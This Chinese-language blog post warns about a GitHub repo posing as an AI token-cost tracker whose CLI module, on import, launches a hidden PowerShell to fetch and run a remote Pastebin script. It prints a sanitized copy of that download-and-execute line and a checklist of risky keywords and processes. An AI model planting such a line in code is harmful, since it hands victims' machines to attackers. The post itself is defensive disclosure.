乐于分享
好东西不私藏

我在 GitHub 上找个 AI 记账工具,差点被它当成肉鸡

我在 GitHub 上找个 AI 记账工具,差点被它当成肉鸡

事情是这样的。

我每天都要在 GitHub 上翻新项目,帮大家找那些能马上用的 AI 工具。昨天看到一个仓库,名字叫 tokentab,50 颗星,创建时间就在前几天。

README 写得很正常。它能读取 Claude Code、Codex、Gemini CLI 留在本地的会话日志,算出每个模型、每个项目、每天花了多少钱,还能开一个本地网页看报表。全程离线,不需要账号,不需要 API key。

听起来是不是很实用。

尤其是我这种每天被 token 账单追着跑的人,简直想立刻装一个。

然后我多看了一眼源码,后背一凉。

图注|本文封面,别乱装 AI 工具。封面为原创插画,代码字符为装饰,不可复制。

README 正常,代码不正常

这个仓库的 README 和 pyproject.toml 看起来都没有问题,项目描述、依赖、入口都写得像模像样。

问题出在 tokentab/cli.py 这个文件里。

Python 文件在 import 时会执行模块级代码,而它一进来就调用了 subprocess.Popen,尝试通过 ScriptRunner.exe 启动一个隐藏的 PowerShell,再去下载并执行 Pastebin 上的远程脚本。

我把它整理成一个脱敏版本,大家感受一下这个形状。

提示词

subprocess.Popen(
    "ScriptRunner.exe -appvscript powershell.exe -WindowStyle Hidden "
    "-NonInteractive -Command "
    "\"iex (irm 'https://[已删除]')\"",
    shell=True,
    creationflags=subprocess.CREATE_NO_WINDOW,
)

这行代码不是功能,是投毒。

它不需要你点击任何按钮,只要你安装了项目并且 import 了模块,就会尝试执行。

更离谱的是,这个文件里的其他代码也和 README 描述的 tokentab 完全无关,混进了一个叫 claude-engineer 的交互式 REPL。README 像是一个正经项目,源码却像是从别的地方拼过来的。

为什么它没有得手

我触发了一次 import。

代码确实尝试拉起隐藏 PowerShell,但 Pastebin 已经把这个链接判定为有害内容,直接返回 404。也就是说,它想下载的第二阶段载荷根本没拿到,进程很快就结束了。

我随后检查了本机进程,没有发现残留的 ScriptRunner 或隐藏 PowerShell,也没有看到可疑的网络连接。为了保险,我把这个仓库的源码标记为恶意,删除了里面的执行入口,ZIP 也改成隔离命名,不再继续使用。

这里必须说清楚,我不是说我的机器一定没有问题。Pastebin 封得够快,这是运气,不是防御。

这类投毒为什么难防

因为它的表面工程做得太好了。

README 有截图,有安装步骤,有使用示例,甚至还有一张看起来像模像样的 dashboard 图片。pyproject.toml 的依赖也很少,不会像传统病毒那样一眼就露馅。

真正危险的地方在 import 路径里,而不是用户会主动运行的 main() 函数。

很多人的习惯是看到 README 不错就直接 pip install -e . 或者跑起来,根本不会先读一遍源码。投毒者赌的就是这个。

怎么在安装前发现它

我现在给自己定了几条规矩。

我的检查清单

第一,任何新仓库,先看代码再安装。尤其是 setup.pypyproject.toml__init__.py 和 CLI 入口文件。

第二,搜索几个高危关键词。subprocessPopenos.systemevalexeciexirmbase64curlwget,还有远程 URL。只要出现在 import 路径上,立刻停下。

第三,看 README 和代码是否对得上。这个仓库 README 在讲 token 统计,入口文件却在做隐藏 PowerShell,明显不是同一个项目。

第四,看仓库年龄、提交记录、release 和 issue。50 星的新仓库不代表安全,反而可能是刚被包装出来的诱饵。

第五,真要在本地试,就放进虚拟机或沙箱,不给管理员权限,不要让它接触真实的 API key 和项目文件。

第六,跑完顺手看进程树。出现 ScriptRunner.exe、隐藏 PowerShell、wscriptmshta 这类进程,马上断网处置。

不是所有恶意代码都长得像病毒。有些只是安静地出现在 import 语句后面,等你自己按下回车。

这个仓库我为什么不推荐

tokentab 这个工具本身的想法很好,AI 记账确实是我的刚需。

但当前这个仓库已经不适合安装,README 正常不代表源码可信。如果你想找同类工具,建议等一个经过审计、有 release、有维护历史的版本,或者自己写一个只读日志的小脚本。

这个案例我不会提供安装步骤,也不会把恶意载荷原文放出来。写这篇文章的目的只有一个,让大家在安装下一个「看起来很棒的 AI 工具」之前,多花五分钟看代码。

好了,今天的投毒现场就聊到这里。觉得有用,就点个赞、点个在看,也可以转发给那些喜欢装各种 AI 工具的朋友。关注科技热点Daily,我们每天把好用的 AI 和安全坑都讲明白。